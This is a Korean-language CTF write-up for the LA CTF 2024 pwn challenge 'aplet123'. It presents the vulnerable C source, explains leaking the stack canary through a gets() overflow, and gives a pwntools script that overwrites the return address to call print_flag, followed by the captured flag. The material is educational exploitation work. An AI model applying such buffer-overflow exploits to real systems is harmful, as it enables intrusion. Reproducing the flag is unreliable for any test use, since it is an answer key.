[CTF Writeup / Pwn] LA CTF 2024 - aplet123

[CTF Writeup / Pwn] LA CTF 2024 - aplet123


안녕하세요. 이번에는 LA CTF 2024에 출제된 Pwnable 문제 aplet123의 writeup을 작성해보도록 하겠습니다.


문제 설명







bliutech: Can we get ApletGPT?

me: No we have ApletGPT at home.

ApletGPT at home:

문제 설명이 주어지고, c 파일과 실행 파일, Dockerfile이 첨부되어 있습니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
 
void print_flag(void) {
  char flag[256];
  FILE *flag_file = fopen("flag.txt", "r");
  fgets(flag, sizeof flag, flag_file);
  puts(flag);
}
 
const char *const responses[] = {"L",
                                 "amongus",
                                 "true",
                                 "pickle",
                                 "GINKOID",
                                 "L bozo",
                                 "wtf",
                                 "not with that attitude",
                                 "increble",
                                 "based",
                                 "so true",
                                 "monka",
                                 "wat",
                                 "monkaS",
                                 "banned",
                                 "holy based",
                                 "daz crazy",
                                 "smh",
                                 "bruh",
                                 "lol",
                                 "mfw",
                                 "skissue",
                                 "so relatable",
                                 "copium",
                                 "untrue!",
                                 "rolled",
                                 "cringe",
                                 "unlucky",
                                 "lmao",
                                 "eLLe",
                                 "loser!",
                                 "cope",
                                 "I use arch btw"};
 
int main(void) {
  setbuf(stdout, NULL);
  srand(time(NULL));
  char input[64];
  puts("hello");
  while (1) {
    gets(input);
    char *s = strstr(input, "i'm");
    if (s) {
      printf("hi %s, i'm aplet123\n", s + 4);
    } else if (strcmp(input, "please give me the flag") == 0) {
      puts("i'll consider it");
      sleep(5);
      puts("no");
    } else if (strcmp(input, "bye") == 0) {
      puts("bye");
      break;
    } else {
      puts(responses[rand() % (sizeof responses / sizeof responses[0])]);
    }
  }
}
 
cs


주어진 소스코드 입니다. bye를 입력하기 전까지 무한루프로 계속 입력을 받으며, 입력 부분에서 Buffer Overflow가 발생합니다.



checksec




하지만 Canary가 설정되어 있어, Return Address를 print_flag() 함수로 변경하기 위해서는 Canary Leak이 필요합니다. 

Canary는 실행 중에 변경되지 않으므로, 입력 값에 i'm을 포함하여 canary의 null(\x00) 1byte를 덮어쓰면 Canary가 출력됩니다.


Exploit 단계는 다음과 같습니다.

1. Canary Leak

2. Buffer Overflow로 Return Address를 print_flag() 함수 주소로 변경 (PIE 설정되어 있어 변경 안 됨)

3. bye 입력하여 main 함수 종료



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
 
context.log_level = "debug"
 
p = remote('chall.lac.tf', 31123)
#p = process('./aplet123')
 
flag_address = 0x4011e6
canary = 0x401261
 
payload = ("A"*(72 - 4 + 1) + "i'm" ).encode()
 
p.sendlineafter(b'hello', payload)
p.recv()
res = p.recv()
 
canary = b'\x00' + res[3:10]
 
payload = ("A"*72).encode() + canary + ("B"*8).encode() + p64(flag_address)
 
p.sendline(payload)
p.sendline(b"bye")
 
p.interactive()
cs

최종 Exploit 코드입니다.


FLAG











실행하면 FLAG가 출력됩니다.


lactf{so_untrue_ei2p1wfwh9np2gg6}


댓글